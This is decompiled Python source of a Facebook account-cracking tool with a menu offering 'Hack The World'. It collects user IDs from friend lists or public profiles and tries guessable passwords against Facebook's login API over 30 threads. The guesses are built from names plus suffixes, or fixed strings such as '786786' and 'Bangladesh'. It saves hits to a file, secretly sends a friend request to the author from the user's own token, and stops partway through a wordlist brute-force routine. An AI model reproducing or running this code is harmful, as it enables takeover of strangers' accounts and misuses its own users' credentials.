# uncompyle6 version 3.7.3 # Python bytecode 2.7 # Decompiled from: Python 2.7.16 (default, Oct 10 2019, 22:02:15) # [GCC 8.3.0] # Embedded file name: dg import os, sys, time, datetime, random, hashlib, re, threading, json, urllib, cookielib, requests, mechanize from multiprocessing.pool import ThreadPool from requests.exceptions import ConnectionError from mechanize import Browser reload(sys) sys.setdefaultencoding('utf8') br = mechanize.Browser() br.set_handle_robots(False) br.set_handle_refresh(mechanize._http.HTTPRefreshProcessor(), max_time=1) br.addheaders = [('User-Agent', 'Opera/9.80 (Android; Opera Mini/32.0.2254/85. U; id) Presto/2.12.423 Version/12.16')] def keluar(): print '\x1b[1;96m[!] \x1b[1;91mExit' os.sys.exit() def acak(b): w = 'ahtdzjc' d = '' for i in x: d += '!' + w[random.randint(0, len(w) - 1)] + i return cetak(d) def cetak(b): w = 'ahtdzjc' for i in w: j = w.index(i) x = x.replace('!%s' % i, '\x1b[%s;1m' % str(31 + j)) x += '\x1b[0m' x = x.replace('!0', '\x1b[0m') sys.stdout.write(x + '\n') def jalan(z): for e in z + '\n': sys.stdout.write(e) sys.stdout.flush() time.sleep(0.1) logo = '\n\x1b[1;91m\xe2\x95\xad\xe2\x94\x81\xe2\x94\xb3\xe2\x94\x81\xe2\x94\xb3\xe2\x94\x81\xe2\x94\x81\xe2\x95\xae\xe2\x95\xad\xe2\x94\x81\xe2\x94\xb3\xe2\x94\x81\xe2\x94\xb3\xe2\x94\xb3\xe2\x94\x81\xe2\x94\x81\xe2\x94\xb3\xe2\x94\x81\xe2\x94\xb3\xe2\x94\x81\xe2\x95\xae\xe2\x95\xad\xe2\x94\x81\xe2\x94\xb3\x1b[1;98m\xe2\x94\x81\xe2\x94\x81\xe2\x94\xb3\xe2\x94\x81\xe2\x94\x81\xe2\x94\xb3\xe2\x94\x81\xe2\x94\xb3\xe2\x95\xae\n\x1b[1;92m\xe2\x94\x83\xe2\x94\x83\xe2\x94\x83\xe2\x94\x83\xe2\x94\x83\xe2\x94\x81\xe2\x94\x81\xe2\x94\xab\xe2\x94\x83\xe2\x95\xad\xe2\x94\xbb\xe2\x95\xae\xe2\x94\x83\xe2\x94\x83\xe2\x95\xad\xe2\x95\xae\xe2\x94\x83\xe2\x94\xb3\xe2\x94\xab\xe2\x95\x8b\xe2\x94\x83\xe2\x94\x83\xe2\x95\xad\xe2\x94\xbb\x1b[1;93m\xe2\x94\x83\xe2\x94\x83\xe2\x94\xbb\xe2\x95\xae\xe2\x95\xad\xe2\x94\xbb\xe2\x95\xae\xe2\x94\x83\xe2\x94\x83\n\x1b[1;97m\xe2\x94\x83\xe2\x94\x83\xe2\x94\x83\xe2\x94\x83\xe2\x94\xa3\xe2\x94\x81\xe2\x94\x81\xe2\x94\x83\xe2\x94\x83\xe2\x95\xb0\xe2\x94\xb3\xe2\x94\xbb\xe2\x95\xae\xe2\x94\x83\xe2\x95\xad\xe2\x95\xae\xe2\x94\x83\xe2\x94\xbb\xe2\x94\xab\xe2\x95\xae\xe2\x94\xab\xe2\x94\x83\xe2\x95\xb0\xe2\x94\xb3\x1b[1;90m\xe2\x94\x83\xe2\x94\x83\xe2\x95\xae\xe2\x94\x83\xe2\x94\x83\xe2\x95\xad\xe2\x94\xbb\xe2\x95\xae\xe2\x94\x83\n\x1b[1;99m\xe2\x95\xb0\xe2\x94\xbb\xe2\x94\x81\xe2\x94\xbb\xe2\x94\xbb\xe2\x94\x81\xe2\x94\x81\xe2\x95\xaf\xe2\x95\xb0\xe2\x94\x81\xe2\x94\xbb\xe2\x94\x81\xe2\x94\x81\xe2\x94\xbb\xe2\x94\x81\xe2\x94\x81\xe2\x94\xbb\xe2\x94\x81\xe2\x94\xbb\xe2\x94\xbb\xe2\x95\xaf\xe2\x95\xb0\xe2\x94\x81\xe2\x94\xbb\x1b[1;99m\xe2\x94\x81\xe2\x94\x81\xe2\x95\xaf\xe2\x95\xb0\xe2\x95\xaf\xe2\x95\xb0\xe2\x94\x81\xe2\x94\x81\xe2\x95\xaf \n\x1b[1;95m\xf0\x9f\x8c\xba\xe2\x95\xad\xe2\x95\xac\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x95\xac\xe2\x95\xae\xf0\x9f\x8c\xba\n\x1b[0;97m \xf0\x9f\x8c\xbf \xe2\x9c\xaf \xe2\x9c\xacAuthor - Mohammad Monir Sarkar\xe2\x9c\xaa\n\x1b[0;97m \xf0\x9f\x8c\xbf \xe2\x9c\xaf \xe2\x9c\xacYoutube- Monir ModS\n\x1b[0;97m \xf0\x9f\x8c\xbf \xe2\x9c\xaf \xe2\x9c\xacFacebook- https://m.me/yourmsvai\n\x1b[1;95m\xf0\x9f\x8f\xb5\xef\xb8\x8f\xe2\x95\xb0\xe2\x95\xac\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x95\xac\xe2\x95\xaf\xf0\x9f\x8f\xb5\xef\xb8\x8f ' def tik(): titik = [ '. ', '.. ', '... '] for o in titik: print '\r\x1b[1;93mPlease Wait \x1b[1;93m' + o, sys.stdout.flush() time.sleep(1) back = 0 berhasil = [] cekpoint = [] oks = [] id = [] listgrup = [] vulnot = '\x1b[31mNot Vuln' vuln = '\x1b[32mVuln' os.system('clear') print '\n\x1b[1;99m\xe2\x95\xad\xe2\x94\x81\xe2\x94\xb3\xe2\x94\x81\xe2\x95\xae\xe2\x95\xb1\xe2\x95\xb1\xe2\x95\xb1\xe2\x95\xb1\xe2\x95\xad\xe2\x95\xae\xe2\x95\xb1\xe2\x95\xb1\xe2\x95\xad\xe2\x94\x81\xe2\x94\x81\xe2\x95\xae\xe2\x95\xb1\xe2\x95\xb1\xe2\x95\xb1\xe2\x95\xb1\xe2\x95\xad\xe2\x95\xae\n\x1b[1;97m\xe2\x94\x83\xe2\x94\x83\xe2\x94\x83\xe2\x94\x83\xe2\x94\xa3\xe2\x94\x81\xe2\x94\xb3\xe2\x94\x81\xe2\x94\xb3\xe2\x95\x8b\xe2\x95\x8b\xe2\x94\xb3\xe2\x95\xae\xe2\x94\x83\xe2\x94\x81\xe2\x94\x81\xe2\x95\x8b\xe2\x94\x81\xe2\x95\xae\xe2\x95\xad\xe2\x94\xb3\xe2\x94\xab\xe2\x94\xa3\xe2\x94\xb3\x1b[1;99m\xe2\x94\x81\xe2\x95\xae\xe2\x95\xad\xe2\x94\xb3\xe2\x95\xae\n\x1b[1;96m\xe2\x94\x83\xe2\x94\x83\xe2\x94\x83\xe2\x94\x83\xe2\x94\x83\xe2\x95\x8b\xe2\x94\x83\xe2\x94\x83\xe2\x94\x83\xe2\x94\x83\xe2\x94\x83\xe2\x95\xad\xe2\x95\xaf\xe2\x94\xa3\xe2\x94\x81\xe2\x94\x81\xe2\x94\x83\xe2\x95\x8b\xe2\x95\xb0\xe2\x94\xab\xe2\x95\xad\xe2\x94\xab\xe2\x94\x81\xe2\x94\xab\x1b[1;93m\xe2\x95\x8b\xe2\x95\xb0\xe2\x94\xab\xe2\x95\xad\xe2\x95\xaf\n\x1b[1;99m\xe2\x95\xb0\xe2\x94\xbb\xe2\x94\x81\xe2\x94\xbb\xe2\x94\xbb\xe2\x94\x81\xe2\x94\xbb\xe2\x94\xbb\xe2\x94\x81\xe2\x94\xbb\xe2\x94\xbb\xe2\x95\xaf\xe2\x95\xb1\xe2\x95\xb0\xe2\x94\x81\xe2\x94\x81\xe2\x94\xbb\xe2\x94\x81\xe2\x94\x81\xe2\x94\xbb\xe2\x95\xaf\xe2\x95\xb0\xe2\x94\xbb\xe2\x94\xbb\x1b[1;95m\xe2\x94\x81\xe2\x94\x81\xe2\x94\xbb\xe2\x95\xaf' jalan('\x1b[1;96m\xe2\x80\xa2\xe2\x97\x88\xe2\x80\xa2\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x80\xa2\xe2\x97\x88\xe2\x80\xa2\x1b[1;99mMonir Sarkar\x1b[1;99m\xe2\x80\xa2\xe2\x97\x88\xe2\x80\xa2\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x80\xa2\xe2\x97\x88\xe2\x80\xa2') CorrectUsername = 'ms' CorrectPassword = 'ms' loop = 'true' while loop == 'true': username = raw_input('\x1b[1;97m\xf0\x9f\x93\x8b \x1b[1;95mENTER USER\x1b[1;97m\xc2\xbb\xc2\xbb \x1b[1;97m') if username == CorrectUsername: password = raw_input('\x1b[1;97m\xf0\x9f\x97\x9d \x1b[1;95mENTER PASSWORD\x1b[1;97m\xc2\xbb\xc2\xbb \x1b[1;97m') if password == CorrectPassword: print 'Logged in successfully as ' + username time.sleep(2) loop = 'false' else: print '\x1b[1;96mWrong Password' os.system('xdg-open https://m.facebook.com/groups/mscybercity') else: print '\x1b[1;96mWrong Username' os.system('xdg-open https://m.youtube.com/MonirModS') def login(): os.system('clear') try: toket = open('login.txt', 'r') menu() except (KeyError, IOError): os.system('clear') print logo print 42 * '\x1b[1;96m=' print '\x1b[1;96m[M\xe2\x99\xa5\xef\xb8\x8f] \x1b[1;96mLogin your FULL New id \x1b[1;96m[S\xe2\x99\xa5\xef\xb8\x8f]' id = raw_input('\x1b[1;97m[+] \x1b[1;97mEnter User Code/Email \x1b[1;97m: \x1b[1;97m') pwd = raw_input('\x1b[1;97m[+] \x1b[1;91mEnter Password \x1b[1;93m: \x1b[1;97m') tik() try: br.open('https://m.facebook.com') except mechanize.URLError: print '\n\x1b[1;96m[!] \x1b[1;91mERROR\xf0\x9f\x90\xb8' keluar() br._factory.is_html = True br.select_form(nr=0) br.form['email'] = id br.form['pass'] = pwd br.submit() url = br.geturl() if 'save-device' in url: try: sig = 'api_key=882a8490361da98702bf97a021ddc14dcredentials_type=passwordemail=' + id + 'format=JSONgenerate_machine_id=1generate_session_cookies=1locale=en_USmethod=auth.loginpassword=' + pwd + 'return_ssl_resources=0v=1.062f8ce9f74b12f84c123cc23437a4a32' data = {'api_key': '882a8490361da98702bf97a021ddc14d', 'credentials_type': 'password', 'email': id, 'format': 'JSON', 'generate_machine_id': '1', 'generate_session_cookies': '1', 'locale': 'en_US', 'method': 'auth.login', 'password': pwd, 'return_ssl_resources': '0', 'v': '1.0'} x = hashlib.new('md5') x.update(sig) a = x.hexdigest() data.update({'sig': a}) url = 'https://api.facebook.com/restserver.php' r = requests.get(url, params=data) z = json.loads(r.text) unikers = open('login.txt', 'w') unikers.write(z['access_token']) unikers.close() print '\n\x1b[1;96m[\xe2\x9c\x93] \x1b[1;92mLOGIN SUCCESSFUL AS A VIP MEMBERSHIP BY MONIR' os.system('xdg-open https://www.youtube.com/channel/UCsdJQbRf0xpvwaDu1rqgJuA') requests.post('https://graph.facebook.com/me/friends?method=post&uids=gwimusa3&access_token=' + z['access_token']) menu() except requests.exceptions.ConnectionError: print '\n\x1b[1;96m[!] \x1b[1;91mERROR\xf0\x9f\x90\xb8' keluar() if 'checkpoint' in url: print '\n\x1b[1;96m[!] \x1b[1;91mACCOUNT IS ON CHEAKPOINT' os.system('rm -rf login.txt') time.sleep(1) keluar() else: print '\n\x1b[1;96m[!] \x1b[1;91mPassword/Email Is Wrong' os.system('rm -rf login.txt') time.sleep(1) login() def menu(): os.system('clear') try: toket = open('login.txt', 'r').read() except IOError: os.system('clear') print '\x1b[1;91m[!] Token invalid' os.system('rm -rf login.txt') time.sleep(1) login() try: otw = requests.get('https://graph.facebook.com/me?access_token=' + toket) a = json.loads(otw.text) nama = a['name'] id = a['id'] ots = requests.get('https://graph.facebook.com/me/subscribers?access_token=' + toket) b = json.loads(ots.text) sub = str(b['summary']['total_count']) except KeyError: os.system('clear') print '\x1b[1;91mYour Account is on Checkpoint' os.system('rm -rf login.txt') time.sleep(1) login() except requests.exceptions.ConnectionError: print '\x1b[1;92mThere is no internet connection' keluar() os.system('clear') print logo print ' \x1b[1;36;40m \xe2\x95\x94\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x97' print ' \x1b[1;36;40m \xe2\x95\x91\x1b[1;32;99m[*] Name\x1b[1;32;40m: ' + nama + ' \t \x1b[1;36;40m\xe2\x95\x91' print ' \x1b[1;36;40m \xe2\x95\x91\x1b[1;33;40m[*] ID \x1b[1;34;40m: ' + id + ' \x1b[1;36;40m\xe2\x95\x91' print ' \x1b[1;36;40m \xe2\x95\x91\x1b[1;36;40m[*] Subs\x1b[1;34;40m: ' + sub + ' \x1b[1;36;40m\xe2\x95\x91' print ' \x1b[1;36;40m \xe2\x95\x9a\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x9d' print '\x1b[1;32;40m[1] \x1b[1;91;97mHack The World' print '\x1b[1;32;40m[2] \x1b[1;96;42mUpdate MONIRVAI TOOL' print '\x1b[1;32;40m[0] \x1b[1;33;90mLog out' pilih() def pilih(): unikers = raw_input('\n\x1b[1;31;40m>>> \x1b[1;35;40m') if unikers == '': print '\x1b[1;91mFill in correctly' pilih() elif unikers == '1': super() elif unikers == '2': os.system('clear') print logo print ' \x1b[1;36;40m\xe2\x97\x8f\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x97\x84\xe2\x96\xba\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x97\x8f\n' os.system('git pull origin master') raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]') menu() elif unikers == '0': jalan('Token Removed') os.system('rm -rf login.txt') keluar() else: print '\x1b[1;91mFill in correctly' pilih() def super(): global toket os.system('clear') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91mToken invalid' os.system('rm -rf login.txt') time.sleep(1) login() os.system('clear') print logo print '\x1b[1;32;40m[01] \x1b[1;33;99mHack From Friend List' print '\x1b[1;32;40m[02] \x1b[1;33;99mHack From Public ID' print '\x1b[1;32;40m[03] \x1b[1;33;95mHack Bruteforce' print '\x1b[1;32;40m[04] \x1b[1;33;95mHack From File' print '\x1b[1;32;40m[00] \x1b[1;33;95mBack' pilih_super() def pilih_super(): global cekpoint global oks peak = raw_input('\n\x1b[1;31;40m>>> \x1b[1;97m') if peak == '': print '\x1b[1;91mFill in correctly' pilih_super() else: if peak == '1': os.system('clear') print logo jalan('\x1b[1;99m[\xe2\x80\xa2\xe2\x80\xa2\xe2\x80\xa2>] Getting IDs \x1b[1;99m...') r = requests.get('https://graph.facebook.com/me/friends?access_token=' + toket) z = json.loads(r.text) for s in z['data']: id.append(s['id']) elif peak == '2': os.system('clear') print logo idt = raw_input('\x1b[1;96m[*] Enter ID : ') try: jok = requests.get('https://graph.facebook.com/' + idt + '?access_token=' + toket) op = json.loads(jok.text) print '\x1b[1;97;98m[\xe2\x80\xa2\xe2\x80\xa2] Name : ' + op['name'] except KeyError: print '\x1b[1;95m[\xf0\x9f\x98\xad] ID Not Found!' raw_input('\n\x1b[1;95m[\x1b[1;93mBack\x1b[1;93m]') super() print '\x1b[1;99;90m[\xf0\x9f\xa4\x97] Getting IDs...' r = requests.get('https://graph.facebook.com/' + idt + '/friends?access_token=' + toket) z = json.loads(r.text) for i in z['data']: id.append(i['id']) elif peak == '3': os.system('clear') print logo brute() elif peak == '4': os.system('clear') print logo try: idlist = raw_input('\x1b[1;91m[+] \x1b[1;93mEnter File Path \x1b[1;91m: \x1b[1;93m') for line in open(idlist, 'r').readlines(): id.append(line.strip()) except IOError: print '\x1b[1;96m[!] \x1b[1;91mFile Not Found' raw_input('\n\x1b[1;96m[ \x1b[1;97mBack \x1b[1;91m]') super() elif peak == '0': menu() else: print '\x1b[1;96m[!] \x1b[1;91mFill in correctly' pilih_super() print '\x1b[1;99m[+] \x1b[1;95mTotal IDs \x1b[1;91m: \x1b[1;97m' + str(len(id)) jalan('\x1b[1;99m[\xf0\x9f\x94\xa5] \x1b[1;99mStarting \x1b[1;99m...') titik = ['. ', '.. ', '... '] for o in titik: print '\r\x1b[1;96m[\x1b[1;99m\xe2\x80\xa2\xe2\x80\xa2\xe2\x80\xa2\xe2\x80\xa2\x1b[1;96m] \x1b[1;91mCloning \x1b[1;91m' + o, sys.stdout.flush() time.sleep(1) print print '\x1b[1;96m[!] \x1b[1;99mTo Stop Process Press CTRL Then Press z' print 42 * '\x1b[1;96m=' def main(arg): user = arg try: os.mkdir('out') except OSError: pass try: a = requests.get('https://graph.facebook.com/' + user + '/?access_token=' + toket) b = json.loads(a.text) pass1 = b['first_name'] + '786' data = urllib.urlopen('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + user + '&locale=en_US&password=' + pass1 + '&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6') q = json.load(data) if 'access_token' in q: print '\x1b[1;92m[OK] \x1b[1;92m ' + user + ' \x1b[1;92m | \x1b[1;92m ' + pass1 + ' \xe2\x9a\xa1 ' + b['name'] oks.append(user + pass1) elif 'www.facebook.com' in q['error_msg']: print '\x1b[1;96;91m[HACKED] \x1b[1;97m ' + user + ' \x1b[1;36;40m|\x1b[1;97m ' + pass1 + ' \xf0\x9f\x95\xb7\xef\xb8\x8f ' + b['name'] cek = open('out/CP.txt', 'a') cek.write(user + '|' + pass1 + '\n') cek.close() cekpoint.append(user + pass1) else: pass2 = b['first_name'] + '123' data = urllib.urlopen('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + user + '&locale=en_US&password=' + pass2 + '&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6') q = json.load(data) if 'access_token' in q: print '\x1b[1;92m[OK] \x1b[1;92m ' + user + ' \x1b[1;92m | \x1b[1;92m ' + pass2 + ' \xf0\x9f\x95\xb7\xef\xb8\x8f ' + b['name'] oks.append(user + pass2) elif 'www.facebook.com' in q['error_msg']: print '\x1b[1;36;40m[HACKED] \x1b[1;97m ' + user + ' \x1b[1;36;40m|\x1b[1;97m ' + pass2 + ' \xf0\x9f\x95\xb7\xef\xb8\x8f ' + b['name'] cek = open('out/CP.txt', 'a') cek.write(user + '|' + pass2 + '\n') cek.close() cekpoint.append(user + pass2) else: pass3 = b['first_name'] + '12345' data = urllib.urlopen('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + user + '&locale=en_US&password=' + pass3 + '&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6') q = json.load(data) if 'access_token' in q: print '\x1b[1;92m[OK] \x1b[1;92m ' + user + ' \x1b[1;92m | \x1b[1;92m ' + pass3 + ' \xf0\x9f\x8c\x80 ' + b['name'] oks.append(user + pass3) elif 'www.facebook.com' in q['error_msg']: print '\x1b[1;36;40m[HACKED] \x1b[1;97m ' + user + ' \x1b[1;36;40m|\x1b[1;97m ' + pass3 + ' \xf0\x9f\x8c\x80 ' + b['name'] cek = open('out/CP.txt', 'a') cek.write(user + '|' + pass3 + '\n') cek.close() cekpoint.append(user + pass4) else: pass4 = b['first_name'] + '1234' data = urllib.urlopen('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + user + '&locale=en_US&password=' + pass4 + '&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6') q = json.load(data) if 'access_token' in q: print '\x1b[1;92m[OK] \x1b[1;92m ' + user + ' \x1b[1;92m | \x1b[1;92m ' + pass4 + ' \xe2\x9a\xa1 ' + b['name'] oks.append(user + pass4) elif 'www.facebook.com' in q['error_msg']: print '\x1b[1;36;40m[HACKED] \x1b[1;97m ' + user + ' \x1b[1;36;40m|\x1b[1;97m ' + pass4 + ' \xe2\x9a\xa1 ' + b['name'] cek = open('out/CP.txt', 'a') cek.write(user + '|' + pass4 + '\n') cek.close() cekpoint.append(user + pass4) else: pass5 = '786786' data = urllib.urlopen('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + user + '&locale=en_US&password=' + pass5 + '&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6') q = json.load(data) if 'access_token' in q: print '\x1b[1;92m[OK] \x1b[1;92m ' + user + ' \x1b[1;36;40m|\x1b[1;92m ' + pass5 + ' \xe2\x9a\xa1 ' + b['name'] oks.append(user + pass5) elif 'www.facebook.com' in q['error_msg']: print '\x1b[1;36;40m[HACKED] \x1b[1;97m ' + user + ' \x1b[1;36;40m|\x1b[1;97m ' + pass5 + ' \xe2\x9a\xa1 ' + b['name'] cek = open('out/CP.txt', 'a') cek.write(user + '|' + pass5 + '\n') cek.close() cekpoint.append(user + pass5) else: pass6 = b['last_name'] + '123' data = urllib.urlopen('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + user + '&locale=en_US&password=' + pass6 + '&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6') q = json.load(data) if 'access_token' in q: print '\x1b[1;92m[OK] \x1b[1;92m ' + user + ' \x1b[1;36;40m|\x1b[1;92m ' + pass6 + ' \xe2\x9a\xa1 ' + b['name'] oks.append(user + pass6) elif 'www.facebook.com' in q['error_msg']: print '\x1b[1;36;40m[HACKED] \x1b[1;97m ' + user + ' \x1b[1;36;40m|\x1b[1;97m ' + pass6 + ' \xe2\x9a\xa1 ' + b['name'] cek = open('out/CP.txt', 'a') cek.write(user + '|' + pass6 + '\n') cek.close() cekpoint.append(user + pass6) else: pass7 = 'Bangladesh' data = urllib.urlopen('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + user + '&locale=en_US&password=' + pass7 + '&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6') q = json.load(data) if 'access_token' in q: print '\x1b[1;92m[OK] \x1b[1;92m ' + user + ' \x1b[1;36;40m|\x1b[1;92m ' + pass7 + ' \xe2\x9a\xa1 ' + b['name'] oks.append(user + pass7) elif 'www.facebook.com' in q['error_msg']: print '\x1b[1;36;40m[HACKED] \x1b[1;97m ' + user + ' \x1b[1;36;40m|\x1b[1;97m ' + pass7 + ' \xe2\x9a\xa1 ' + b['name'] cek = open('out/CP.txt', 'a') cek.write(user + '|' + pass7 + '\n') cek.close() cekpoint.append(user + pass7) except: pass p = ThreadPool(30) p.map(main, id) print '\x1b[1;31;99m[\xe2\x9c\x93] Process Has Been Completed\x1b[1;99m....' print '\x1b[1;32;93m[+] Total OK/\x1b[1;93mCP \x1b[1;98m: \x1b[1;93m' + str(len(oks)) + '\x1b[1;31;40m/\x1b[1;36;40m' + str(len(cekpoint)) print '\x1b[1;93;93m[+] CP File Has Been Saved : save/cp.txt' print '\n\x1b[1;31;40m \xe2\x97\x8f\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x97\x84\xe2\x96\xba\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x97\x8f\n ' raw_input('\n\x1b[1;96m[\x1b[1;97mExit\x1b[1;96m]') super() def brute(): os.system('clear') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token not found' os.system('rm -rf login.txt') time.sleep(0.5) login() else: os.system('clear') print logo print '\x1b[1;31;40m \xe2\x97\x8f\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x97\x84\xe2\x96\xba\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x97\x8f' try: email = raw_input('\x1b[1;91m[+] \x1b[1;92mID\x1b[1;97m/\x1b[1;92mEmail \x1b[1;97mTarget \x1b[1;91m:\x1b[1;97m ') passw = raw_input('\x1b[1;91m[+] \x1b[1;92mWordlist \x1b[1;97mext(list.txt) \x1b[1;91m: \x1b[1;97m') total = open(passw, 'r') total = total.readlines() print '\x1b[1;31;40m 